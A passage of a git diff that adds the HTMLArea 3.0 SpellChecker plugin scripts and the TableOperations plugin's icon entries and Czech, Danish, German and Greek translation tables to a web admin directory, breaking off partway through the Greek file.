+                               replaceWord(spans[i]);
+                       }
+               }
+               // replace current element the last, so that we jump to the next word ;-)
+               replaceClicked();
+       }
+       return false;
+};
+
+function ignoreClicked() {
+       document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+       replaceClicked();
+       return false;
+};
+
+function ignoreAllClicked() {
+       document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+       replaceAllClicked();
+       return false;
+};
+
+function learnClicked() {
+       alert("Not [yet] implemented");
+       return false;
+};
+
+function internationalizeWindow() {
+       var types = ["div", "span", "button"];
+       for (var i in types) {
+               var tag = types[i];
+               var els = document.getElementsByTagName(tag);
+               for (var j = els.length; --j >= 0;) {
+                       var el = els[j];
+                       if (el.childNodes.length == 1 && /\S/.test(el.innerHTML)) {
+                               var txt = el.innerHTML;
+                               if (typeof i18n[txt] != "undefined") {
+                                       el.innerHTML = i18n[txt];
+                               }
+                       }
+               }
+       }
+};
+
+function initDocument() {
+       internationalizeWindow();
+       modified = false;
+       frame = document.getElementById("i_framecontent");
+       var field = document.getElementById("f_content");
+       field.value = HTMLArea.getHTML(editor._doc.body, false, editor);
+       field.form.submit();
+       document.getElementById("f_init").value = "0";
+
+       // assign some global event handlers
+
+       var select = document.getElementById("v_suggestions");
+       select.onchange = function() {
+               document.getElementById("v_replacement").value = this.value;
+       };
+       if (is_ie) {
+               select.attachEvent("ondblclick", replaceClicked);
+       } else {
+               select.addEventListener("dblclick", replaceClicked, true);
+       }
+
+       document.getElementById("b_replace").onclick = replaceClicked;
+       // document.getElementById("b_learn").onclick = learnClicked;
+       document.getElementById("b_replall").onclick = replaceAllClicked;
+       document.getElementById("b_ignore").onclick = ignoreClicked;
+       document.getElementById("b_ignall").onclick = ignoreAllClicked;
+       document.getElementById("b_recheck").onclick = recheckClicked;
+       document.getElementById("b_revert").onclick = revertClicked;
+       document.getElementById("b_info").onclick = displayInfo;
+
+       document.getElementById("b_ok").onclick = saveClicked;
+       document.getElementById("b_cancel").onclick = cancelClicked;
+
+       select = document.getElementById("v_dictionaries");
+       select.onchange = function() {
+               document.getElementById("f_dictionary").value = this.value;
+       };
+};
+
+function getAbsolutePos(el) {
+       var r = { x: el.offsetLeft, y: el.offsetTop };
+       if (el.offsetParent) {
+               var tmp = getAbsolutePos(el.offsetParent);
+               r.x += tmp.x;
+               r.y += tmp.y;
+       }
+       return r;
+};
+
+function wordClicked(scroll) {
+       var self = this;
+       if (scroll) (function() {
+               var pos = getAbsolutePos(self);
+               var ws = { x: frame.offsetWidth - 4,
+                          y: frame.offsetHeight - 4 };
+               var wp = { x: frame.contentWindow.document.body.scrollLeft,
+                          y: frame.contentWindow.document.body.scrollTop };
+               pos.x -= Math.round(ws.x/2);
+               if (pos.x < 0) pos.x = 0;
+               pos.y -= Math.round(ws.y/2);
+               if (pos.y < 0) pos.y = 0;
+               frame.contentWindow.scrollTo(pos.x, pos.y);
+       })();
+       if (currentElement) {
+               var a = allWords[currentElement.__msh_origWord];
+               currentElement.className = currentElement.className.replace(/\s*HA-spellcheck-current\s*/g, " ");
+               for (var i in a) {
+                       var el = a[i];
+                       if (el != currentElement) {
+                               el.className = el.className.replace(/\s*HA-spellcheck-same\s*/g, " ");
+                       }
+               }
+       }
+       currentElement = this;
+       this.className += " HA-spellcheck-current";
+       var a = allWords[currentElement.__msh_origWord];
+       for (var i in a) {
+               var el = a[i];
+               if (el != currentElement) {
+                       el.className += " HA-spellcheck-same";
+               }
+       }
+       // document.getElementById("b_replall").disabled = (a.length <= 1);
+       // document.getElementById("b_ignall").disabled = (a.length <= 1);
+       var txt;
+       if (a.length == 1) {
+               txt = "one occurrence";
+       } else if (a.length == 2) {
+               txt = "two occurrences";
+       } else {
+               txt = a.length + " occurrences";
+       }
+       var suggestions = suggested_words[this.__msh_origWord];
+       if (suggestions)
+               suggestions = suggestions.split(/,/);
+       else
+               suggestions = [];
+       var select = document.getElementById("v_suggestions");
+       document.getElementById("statusbar").innerHTML = "Found " + txt +
+               ' for word "<b>' + currentElement.__msh_origWord + '</b>"';
+       for (var i = select.length; --i >= 0;) {
+               select.remove(i);
+       }
+       for (var i = 0; i < suggestions.length; ++i) {
+               var txt = suggestions[i];
+               var option = document.createElement("option");
+               option.value = txt;
+               option.appendChild(document.createTextNode(txt));
+               select.appendChild(option);
+       }
+       document.getElementById("v_currentWord").innerHTML = this.__msh_origWord;
+       if (suggestions.length > 0) {
+               select.selectedIndex = 0;
+               select.onchange();
+       } else {
+               document.getElementById("v_replacement").value = this.innerHTML;
+       }
+       select.style.display = "none";
+       select.style.display = "block";
+       return false;
+};
+
+function wordMouseOver() {
+       this.className += " HA-spellcheck-hover";
+};
+
+function wordMouseOut() {
+       this.className = this.className.replace(/\s*HA-spellcheck-hover\s*/g, " ");
+};
+
+function displayInfo() {
+       var info = frame.contentWindow.spellcheck_info;
+       if (!info)
+               alert("No information available");
+       else {
+               var txt = "** Document information **";
+               for (var i in info) {
+                       txt += "\n" + i + " : " + info[i];
+               }
+               alert(txt);
+       }
+       return false;
+};
+
+function finishedSpellChecking() {
+       // initialization of global variables
+       currentElement = null;
+       wrongWords = null;
+       allWords = {};
+       fixedWords = [];
+       suggested_words = frame.contentWindow.suggested_words;
+
+       document.getElementById("status").innerHTML = "HTMLArea Spell Checker (<a href='readme-tech.html' target='_blank' title='Technical information'>info</a>)";
+       var doc = frame.contentWindow.document;
+        var spans = doc.getElementsByTagName("span");
+        var sps = [];
+       var id = 0;
+        for (var i = 0; i < spans.length; ++i) {
+                var el = spans[i];
+                if (/HA-spellcheck-error/.test(el.className)) {
+                        sps.push(el);
+                       el.__msh_wordClicked = wordClicked;
+                       el.onclick = function(ev) {
+                               ev || (ev = window.event);
+                               ev && HTMLArea._stopEvent(ev);
+                               return this.__msh_wordClicked(false);
+                       };
+                       el.onmouseover = wordMouseOver;
+                       el.onmouseout = wordMouseOut;
+                       el.__msh_id = id++;
+                       var txt = (el.__msh_origWord = el.firstChild.data);
+                       el.__msh_fixed = false;
+                       if (typeof allWords[txt] == "undefined") {
+                               allWords[txt] = [el];
+                       } else {
+                               allWords[txt].push(el);
+                       }
+                } else if (/HA-spellcheck-fixed/.test(el.className)) {
+                       fixedWords.push(el);
+               }
+        }
+       wrongWords = sps;
+       if (sps.length == 0) {
+               if (!modified) {
+                       alert(i18n["NO_ERRORS_CLOSING"]);
+                       window.close();
+               } else {
+                       alert(i18n["NO_ERRORS"]);
+               }
+               return false;
+       }
+       (currentElement = sps[0]).__msh_wordClicked(true);
+       var as = doc.getElementsByTagName("a");
+       for (var i = as.length; --i >= 0;) {
+               var a = as[i];
+               a.onclick = function() {
+                       if (confirm(i18n["CONFIRM_LINK_CLICK"] + ":\n" +
+                                   this.href + "\n" + i18n["I will open it in a new page."])) {
+                               window.open(this.href);
+                       }
+                       return false;
+               };
+       }
+       var dicts = doc.getElementById("HA-spellcheck-dictionaries");
+       if (dicts) {
+               dicts.parentNode.removeChild(dicts);
+               dicts = dicts.innerHTML.split(/,/);
+               var select = document.getElementById("v_dictionaries");
+               for (var i = select.length; --i >= 0;) {
+                       select.remove(i);
+               }
+               for (var i = 0; i < dicts.length; ++i) {
+                       var txt = dicts[i];
+                       var option = document.createElement("option");
+                       if (/^@(.*)$/.test(txt)) {
+                               txt = RegExp.$1;
+                               option.selected = true;
+                       }
+                       option.value = txt;
+                       option.appendChild(document.createTextNode(txt));
+                       select.appendChild(option);
+               }
+       }
+};
diff --git a/admin/htmlarea/plugins/SpellChecker/spell-checker.js b/admin/htmlarea/plugins/SpellChecker/spell-checker.js
new file mode 100755 (executable)
index 0000000..ca40945
--- /dev/null
@@ -0,0 +1,79 @@
+// Spell Checker Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: spell-checker.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+function SpellChecker(editor) {
+       this.editor = editor;
+
+       var cfg = editor.config;
+       var tt = SpellChecker.I18N;
+       var bl = SpellChecker.btnList;
+       var self = this;
+
+       // register the toolbar buttons provided by this plugin
+       var toolbar = [];
+       for (var i in bl) {
+               var btn = bl[i];
+               if (!btn) {
+                       toolbar.push("separator");
+               } else {
+                       var id = "SC-" + btn[0];
+                       cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "SpellChecker"), false,
+                                          function(editor, id) {
+                                                  // dispatch button press event
+                                                  self.buttonPress(editor, id);
+                                          }, btn[1]);
+                       toolbar.push(id);
+               }
+       }
+
+       for (var i in toolbar) {
+               cfg.toolbar[0].push(toolbar[i]);
+       }
+};
+
+SpellChecker._pluginInfo = {
+       name          : "SpellChecker",
+       version       : "1.0",
+       developer     : "Mihai Bazon",
+       developer_url : "http://dynarch.com/mishoo/",
+       c_owner       : "Mihai Bazon",
+       sponsor       : "American Bible Society",
+       sponsor_url   : "http://www.americanbible.org",
+       license       : "htmlArea"
+};
+
+SpellChecker.btnList = [
+       null, // separator
+       ["spell-check"]
+       ];
+
+SpellChecker.prototype.buttonPress = function(editor, id) {
+       switch (id) {
+           case "SC-spell-check":
+               SpellChecker.editor = editor;
+               SpellChecker.init = true;
+               var uiurl = _editor_url + "plugins/SpellChecker/spell-check-ui.html";
+               var win;
+               if (HTMLArea.is_ie) {
+                       win = window.open(uiurl, "SC_spell_checker",
+                                         "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+                                         "scrollbars=no,resizable=yes,width=600,height=450");
+               } else {
+                       win = window.open(uiurl, "SC_spell_checker",
+                                         "toolbar=no,menubar=no,personalbar=no,width=600,height=450," +
+                                         "scrollbars=no,resizable=yes");
+               }
+               win.focus();
+               break;
+       }
+};
+
+// this needs to be global, it's accessed from spell-check-ui.html
+SpellChecker.editor = null;
diff --git a/admin/htmlarea/plugins/TableOperations/img/cell-delete.gif b/admin/htmlarea/plugins/TableOperations/img/cell-delete.gif
new file mode 100755 (executable)
index 0000000..df9594f
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/cell-delete.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/cell-insert-after.gif b/admin/htmlarea/plugins/TableOperations/img/cell-insert-after.gif
new file mode 100755 (executable)
index 0000000..6ff2154
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/cell-insert-after.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/cell-insert-before.gif b/admin/htmlarea/plugins/TableOperations/img/cell-insert-before.gif
new file mode 100755 (executable)
index 0000000..632b315
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/cell-insert-before.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/cell-merge.gif b/admin/htmlarea/plugins/TableOperations/img/cell-merge.gif
new file mode 100755 (executable)
index 0000000..35e4af1
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/cell-merge.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/cell-prop.gif b/admin/htmlarea/plugins/TableOperations/img/cell-prop.gif
new file mode 100755 (executable)
index 0000000..2f71bae
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/cell-prop.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/cell-split.gif b/admin/htmlarea/plugins/TableOperations/img/cell-split.gif
new file mode 100755 (executable)
index 0000000..8bd011e
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/cell-split.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/col-delete.gif b/admin/htmlarea/plugins/TableOperations/img/col-delete.gif
new file mode 100755 (executable)
index 0000000..565afdc
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/col-delete.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/col-insert-after.gif b/admin/htmlarea/plugins/TableOperations/img/col-insert-after.gif
new file mode 100755 (executable)
index 0000000..648e54f
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/col-insert-after.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/col-insert-before.gif b/admin/htmlarea/plugins/TableOperations/img/col-insert-before.gif
new file mode 100755 (executable)
index 0000000..9be8a6e
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/col-insert-before.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/col-split.gif b/admin/htmlarea/plugins/TableOperations/img/col-split.gif
new file mode 100755 (executable)
index 0000000..83f21d1
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/col-split.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/makefile.xml b/admin/htmlarea/plugins/TableOperations/img/makefile.xml
new file mode 100755 (executable)
index 0000000..b25815d
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.{gif,jpg,jpeg}" />
+</files>
diff --git a/admin/htmlarea/plugins/TableOperations/img/row-delete.gif b/admin/htmlarea/plugins/TableOperations/img/row-delete.gif
new file mode 100755 (executable)
index 0000000..e649d9f
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/row-delete.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/row-insert-above.gif b/admin/htmlarea/plugins/TableOperations/img/row-insert-above.gif
new file mode 100755 (executable)
index 0000000..e39c948
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/row-insert-above.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/row-insert-under.gif b/admin/htmlarea/plugins/TableOperations/img/row-insert-under.gif
new file mode 100755 (executable)
index 0000000..2005358
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/row-insert-under.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/row-prop.gif b/admin/htmlarea/plugins/TableOperations/img/row-prop.gif
new file mode 100755 (executable)
index 0000000..7639725
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/row-prop.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/row-split.gif b/admin/htmlarea/plugins/TableOperations/img/row-split.gif
new file mode 100755 (executable)
index 0000000..0df4697
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/row-split.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/img/table-prop.gif b/admin/htmlarea/plugins/TableOperations/img/table-prop.gif
new file mode 100755 (executable)
index 0000000..e15a4a4
Binary files /dev/null and b/admin/htmlarea/plugins/TableOperations/img/table-prop.gif differ
diff --git a/admin/htmlarea/plugins/TableOperations/lang/cz.js b/admin/htmlarea/plugins/TableOperations/lang/cz.js
new file mode 100755 (executable)
index 0000000..47de146
--- /dev/null
@@ -0,0 +1,90 @@
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+       "Align":                                          "Zarovnání",\r\r
+       "All four sides":                                 "Všechny čtyři strany",\r\r
+       "Background":                                     "Pozadí",\r\r
+       "Baseline":                                       "Základní linka",\r\r
+       "Border":                                         "Obrys",\r\r
+       "Borders":                                        "Obrysy",\r\r
+       "Bottom":                                         "Dolů",\r\r
+       "CSS Style":                                      "Kaskádové styly (CSS)",\r\r
+       "Caption":                                        "Titulek",\r\r
+       "Cell Properties":                                "Vlastnosti buňky",\r\r
+       "Center":                                         "Na střed",\r\r
+       "Char":                                           "Znak",\r\r
+       "Collapsed borders":                              "Stlačené okraje",\r\r
+       "Color":                                          "Barva",\r\r
+       "Description":                                    "Popis",\r\r
+       "FG Color":                                       "Barva popředí",\r\r
+       "Float":                                          "Obtékání",\r\r
+       "Frames":                                         "Rámečky",\r\r
+       "Height":                                         "Výška",\r\r
+       "How many columns would you like to merge?":      "Kolik sloupců si přejete spojit?",\r\r
+       "How many rows would you like to merge?":         "Kolik řádků si přejete spojit?",\r\r
+       "Image URL":                                      "Adresa obrázku",\r\r
+       "Justify":                                        "Do stran",\r\r
+       "Layout":                                         "Rozložení",\r\r
+       "Left":                                           "Vlevo",\r\r
+       "Margin":                                         "Okraj",\r\r
+       "Middle":                                         "Na střed",\r\r
+       "No rules":                                       "Žádné čáry",\r\r
+       "No sides":                                       "Žádné strany",\r\r
+       "None":                                           "Žádné",\r\r
+       "Padding":                                        "Odsazování",\r\r
+       "Please click into some cell":                    "Prosím klikněte do některé buňky",\r\r
+       "Right":                                          "Vpravo",\r\r
+       "Row Properties":                                 "Vlastnosti řádku",\r\r
+       "Rules will appear between all rows and columns": "Čáry mezi všemi řádky i sloupci",\r\r
+       "Rules will appear between columns only":         "Čáry pouze mezi sloupci",\r\r
+       "Rules will appear between rows only":            "Čáry pouze mezi řádky",\r\r
+       "Rules":                                          "Čáry",\r\r
+       "Spacing and padding":                            "Mezery a odsazování",\r\r
+       "Spacing":                                        "Mezery",\r\r
+       "Summary":                                        "Shrnutí",\r\r
+       "TO-cell-delete":                                 "Smazat buňku",\r\r
+       "TO-cell-insert-after":                           "Vložit buňku za",\r\r
+       "TO-cell-insert-before":                          "Vložit buňku před",\r\r
+       "TO-cell-merge":                                  "Spojit buňky",\r\r
+       "TO-cell-prop":                                   "Vlastnosti buňky",\r\r
+       "TO-cell-split":                                  "Rozdělit buňku",\r\r
+       "TO-col-delete":                                  "Smazat sloupec",\r\r
+       "TO-col-insert-after":                            "Vložit sloupec za",\r\r
+       "TO-col-insert-before":                           "Vložit sloupec před",\r\r
+       "TO-col-split":                                   "Rozdělit sloupec",\r\r
+       "TO-row-delete":                                  "Smazat řádek",\r\r
+       "TO-row-insert-above":                            "Smazat řádek nad",\r\r
+       "TO-row-insert-under":                            "Smazat řádek pod",\r\r
+       "TO-row-prop":                                    "Vlastnosti řádku",\r\r
+       "TO-row-split":                                   "Rozdělit řádek",\r\r
+       "TO-table-prop":                                  "Vlastnosti tabulky",\r\r
+       "Table Properties":                               "Vlastnosti tabulky",\r\r
+       "Text align":                                     "Zarovnání textu",\r\r
+       "The bottom side only":                           "Pouze spodní strana",\r\r
+       "The left-hand side only":                        "Pouze levá strana",\r\r
+       "The right and left sides only":                  "Pouze levá a pravá strana",\r\r
+       "The right-hand side only":                       "Pouze pravá strana",\r\r
+       "The top and bottom sides only":                  "Pouze horní a dolní strana",\r\r
+       "The top side only":                              "Pouze horní strana",\r\r
+       "Top":                                            "Nahoru",     \r\r
+       "Unset color":                                    "Zrušit barvu",\r\r
+       "Vertical align":                                 "Svislé zarovnání",\r\r
+       "Width":                                          "Šířka",\r\r
+       "not-del-last-cell":                              "HTMLArea zbaběle odmítá smazat poslední buňku v řádku.",\r\r
+       "not-del-last-col":                               "HTMLArea zbaběle odmítá smazat poslední sloupec v tabulce.",\r\r
+       "not-del-last-row":                               "HTMLArea zbaběle odmítá smazat poslední řádek v tabulce.",\r\r
+       "percent":                                        "procent",\r\r
+       "pixels":                                         "pixelů"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/TableOperations/lang/da.js b/admin/htmlarea/plugins/TableOperations/lang/da.js
new file mode 100755 (executable)
index 0000000..08a6f1b
--- /dev/null
@@ -0,0 +1,90 @@
+// I18N constants
+
+// LANG: "da", ENCODING: UTF-8 | ISO-8859-1
+// Author: Steen Sønderup, <steen@soenderup.com>
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+TableOperations.I18N = {
+       "Align":                                                                                        "Placer",
+       "All four sides":                                                                       "Alle fire sider",
+       "Background":                                                                           "Baggrund",
+       "Baseline":                                                                                     "Bundlinie",
+       "Border":                                                                                       "Kant",
+       "Borders":                                                                                      "Kanter",
+       "Bottom":                                                                                       "Bund",
+       "CSS Style":                                                                            "Stil [CSS]",
+       "Caption":                                                                                      "Titel",
+       "Cell Properties":                                                                      "Celle egenskaber",
+       "Center":                                                                                       "Centrer",
+       "Char":                                                                                         "Plads",
+       "Collapsed borders":                                                            "Sammensmelt rammer",
+       "Color":                                                                                        "Farve",
+       "Description":                                                                          "Beskrivelse",
+       "FG Color":                                                                                     "Font farve",
+       "Float":                                                                                        "Justering",
+       "Frames":                                                                                       "Udvendig",
+       "Height":                                                                                       "Højde",
+       "How many columns would you like to merge?":            "Hvor mange kollonner vil du samle?",
+       "How many rows would you like to merge?":                       "Hvor mange rækker vil du samle?",
+       "Image URL":                                                                            "Billede URL",
+       "Justify":                                                                                      "Lige margener",
+       "Layout":                                                                                       "Opsætning",
+       "Left":                                                                                         "Venstre",
+       "Margin":                                                                                       "Margen",
+       "Middle":                                                                                       "Centrer",
+       "No rules":                                                                                     "Ingen rammer",
+       "No sides":                                                                                     "Ingen sider",
+       "None":                                                                                         "Ingen",
+       "Padding":                                                                                      "Margen",
+       "Please click into some cell":                                          "Klik på en celle",
+       "Right":                                                                                        "Højre",
+       "Row Properties":                                                                       "Række egenskaber",
+       "Rules will appear between all rows and columns":       "Rammer mellem rækker og kolonner",
+       "Rules will appear between columns only":                       "Kun rammer mellem kolonner",
+       "Rules will appear between rows only":                          "Kun rammer mellem rækker",
+       "Rules":                                                                                        "Invendig",
+       "Spacing and padding":                                                          "Afstand og margen",
+       "Spacing":                                                                                      "Afstand",
+       "Summary":                                                                                      "Beskrivelse",
+       "TO-cell-delete":                                                                       "Slet celle",
+       "TO-cell-insert-after":                                                         "Indsæt celle efter",
+       "TO-cell-insert-before":                                                        "Indsæt celle før",
+       "TO-cell-merge":                                                                        "Sammensæt celler",
+       "TO-cell-prop":                                                                         "Celle egenskaber",
+       "TO-cell-split":                                                                        "Opdel celle",
+       "TO-col-delete":                                                                        "Slet kollonne",
+       "TO-col-insert-after":                                                          "Indsæt kolonne efter",
+       "TO-col-insert-before":                                                         "Indsæt kolonne før",
+       "TO-col-split":                                                                         "Opdel kolonne",
+       "TO-row-delete":                                                                        "Slet række",
+       "TO-row-insert-above":                                                          "Indsæt række før",
+       "TO-row-insert-under":                                                          "Indsæt række efter",
+       "TO-row-prop":                                                                          "Række egenskaber",
+       "TO-row-split":                                                                         "Opdel række",
+       "TO-table-prop":                                                                        "Tabel egenskaber",
+       "Table Properties":                                                                     "Tabel egenskaber",
+       "Text align":                                                                           "Tekst",
+       "The bottom side only":                                                         "Kun i bunden",
+       "The left-hand side only":                                                      "Kun i højre side",
+       "The right and left sides only":                                        "Kun i siderne",
+       "The right-hand side only":                                                     "Kun i venstre side",
+       "The top and bottom sides only":                                        "Kun i top og bund",
+       "The top side only":                                                            "Kun i toppen",
+       "Top":                                                                                          "Top",  
+       "Unset color":                                                                          "Farve ikke valgt",
+       "Vertical align":                                                                       "Vertikal placering",
+       "Width":                                                                                        "Bredde",
+       "not-del-last-cell":                                                            "Du kan ikke slette den sidste celle i en række.",
+       "not-del-last-col":                                                                     "Du kan ikke slette den sidste kolonne i en tabel.",
+       "not-del-last-row":                                                                     "Du kan ikke slette den sidste række i en tabel.",
+       "percent":                                                                                      "procent",
+       "pixels":                                                                                       "pixel"
+};
diff --git a/admin/htmlarea/plugins/TableOperations/lang/de.js b/admin/htmlarea/plugins/TableOperations/lang/de.js
new file mode 100755 (executable)
index 0000000..1128cff
--- /dev/null
@@ -0,0 +1,81 @@
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+// Author: broxx, <broxx@broxx.com>
+
+TableOperations.I18N = {
+       "Align":                                          "Ausrichten",
+       "All four sides":                                 "Alle 4 Seiten",
+       "Background":                                     "Hintergrund",
+       "Baseline":                                       "Basislinie",
+       "Border":                                         "Rand",
+       "Borders":                                        "Raender",
+       "Bottom":                                         "Unten",
+       "CSS Style":                                      "Style [CSS]",
+       "Caption":                                        "Ueberschrift",
+       "Cell Properties":                                "Zellen",
+       "Center":                                         "Zentrieren",
+       "Char":                                           "Zeichen",
+       "Collapsed borders":                              "Collapsed borders",
+       "Color":                                          "Farbe",
+       "Description":                                    "Beschreibung",
+       "FG Color":                                       "FG Farbe",
+       "Float":                                          "Ausrichtung",
+       "Frames":                                         "Rahmen",
+       "Height":                                         "Hoehe",
+       "How many columns would you like to merge?":      "Wieviele Spalten willst du verbinden?",
+       "How many rows would you like to merge?":         "Wieviele Zeilen willst du verbinden?",
+       "Image URL":                                      "Bild URL",
+       "Justify":                                        "Justieren",
+       "Layout":                                         "Layout",
+       "Left":                                           "Links",
+       "Margin":                                         "Rand",
+       "Middle":                                         "Mitte",
+       "No rules":                                       "Keine Balken",
+       "No sides":                                       "Keine Seiten",
+       "None":                                           "Keine",
+       "Padding":                                        "Auffuellung",
+       "Please click into some cell":                    "Waehle eine Zelle",
+       "Right":                                          "Rechts",
+       "Row Properties":                                 "Reihen",
+       "Rules will appear between all rows and columns": "Balken zwischen Reihen und Spalten",
+       "Rules will appear between columns only":         "Balken zwischen Spalten",
+       "Rules will appear between rows only":            "Balken zwischen Reihen",
+       "Rules":                                          "Balken",
+       "Spacing and padding":                            "Abstaende",
+       "Spacing":                                        "Abstand",
+       "Summary":                                        "Zusammenfassung",
+       "TO-cell-delete":                                 "Zelle loeschen",
+       "TO-cell-insert-after":                           "Zelle einfuegen nach",
+       "TO-cell-insert-before":                          "Zelle einfuegen bevor",
+       "TO-cell-merge":                                  "Zellen zusammenfuegen",
+       "TO-cell-prop":                                   "Zelleinstellungen",
+       "TO-cell-split":                                  "Zellen aufteilen",
+       "TO-col-delete":                                  "Spalte loeschen",
+       "TO-col-insert-after":                            "Spalte einfuegen nach",
+       "TO-col-insert-before":                           "Spalte einfuegen bevor",
+       "TO-col-split":                                   "Spalte aufteilen",
+       "TO-row-delete":                                  "Reihe loeschen",
+       "TO-row-insert-above":                            "Reihe einfuegen vor",
+       "TO-row-insert-under":                            "Reihe einfuegen nach",
+       "TO-row-prop":                                    "Reiheneinstellungen",
+       "TO-row-split":                                   "Reihen aufteilen",
+       "TO-table-prop":                                  "Tabelle",
+       "Table Properties":                               "Tabelle",
+       "Text align":                                     "Ausrichtung",
+       "The bottom side only":                           "Nur untere Seite",
+       "The left-hand side only":                        "Nur linke Seite",
+       "The right and left sides only":                  "Nur linke und rechte Seite",
+       "The right-hand side only":                       "Nur rechte Seite",
+       "The top and bottom sides only":                  "Nur obere und untere Seite",
+       "The top side only":                              "Nur obere Seite",
+       "Top":                                            "Oben",       
+       "Unset color":                                    "Farbe",
+       "Vertical align":                                 "Ausrichtung",
+       "Width":                                          "Breite",
+       "not-del-last-cell":                              "Letzte Zelle in dieser Reihe!",
+       "not-del-last-col":                               "Letzte Spalte in dieser Tabelle!",
+       "not-del-last-row":                               "Letzte Reihe in dieser Tabelle",
+       "percent":                                        "%",
+       "pixels":                                         "pixels"
+};
diff --git a/admin/htmlarea/plugins/TableOperations/lang/el.js b/admin/htmlarea/plugins/TableOperations/lang/el.js
new file mode 100755 (executable)
index 0000000..06bae5c
--- /dev/null
@@ -0,0 +1,81 @@
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+TableOperations.I18N = {
+       "Align":                                          "Στοίχηση",
+       "All four sides":                                 "Και οι 4 πλευρές",
+       "Background":                                     "Φόντο",
+       "Baseline":                                       "Baseline",
+       "Border":                                         "Περίγραμμα",
+       "Borders":                                        "Περιγράμματα",
+       "Bottom":                                         "Κάτω μέρος",
+       "CSS Style":                                      "Στυλ [CSS]",
+       "Caption":                                        "Λεζάντα",
+       "Cell Properties":                                "Ιδιότητες Κελιού",
+       "Center":                                         "Κέντρο",
+       "Char":                                           "Χαρακτήρας",
+       "Collapsed borders":                              "Συμπτυγμένα περιγράμματα",
+       "Color":                                          "Χρώμα",
+       "Description":                                    "Περιγραφή",
+       "FG Color":                                       "Χρώμα αντικειμένων",
+       "Float":                                          "Float",
+       "Frames":                                         "Frames",
+       "Height":                                         "Ύψος",
+       "How many columns would you like to merge?":      "Πόσες στήλες θέλετε να ενώσετε;",
+       "How many rows would you like to merge?":         "Πόσες γραμμές θέλετε να ενώσετε;",
+       "Image URL":                                      "URL εικόνας",
+       "Justify":                                        "Πλήρης στοίχηση",
+       "Layout":                                         "Διάταξη",
+       "Left":                                           "Αριστερά",
+       "Margin":                                         "Περιθώριο",
+       "Middle":                                         "Κέντρο",
+       "No rules":                                       "Χωρίς Γραμμές",
+       "No sides":                                       "No sides",
+       "None":                                           "Τίποτα",
+       "Padding":                                        "Εσοχή",
+       "Please click into some cell":                    "Κάντε κλικ μέσα σε κάποιο κελί",
+       "Right":                                          "Δεξιά",
+       "Row Properties":                                 "Ιδιότητες Γραμμής",
+       "Rules will appear between all rows and columns": "Γραμμές θα εμφανίζονται μεταξύ όλων των γραμμών και στηλών",
+       "Rules will appear between columns only":         "Γραμμές θα εμφανίζονται μόνο μεταξύ στηλών",
+       "Rules will appear between rows only":            "Γραμμές θα εμφανίζονται μόνο μεταξύ γραμμών",
+       "Rules":                                          "Γραμμές",
+       "Spacing and padding":                            "Αποστάσεις και εσοχές",
+       "Spacing":                                        "Αποστάσεις",
+       "Summary":                                        "Σύνοψη",
+       "TO-cell-delete":                                 "Διαγραφή κελιού",
+       "TO-cell-insert-after":                           "Εισαγωγή κελιού μετά",
+       "TO-cell-insert-before":                          "Εισαγωγή κελιού πριν",
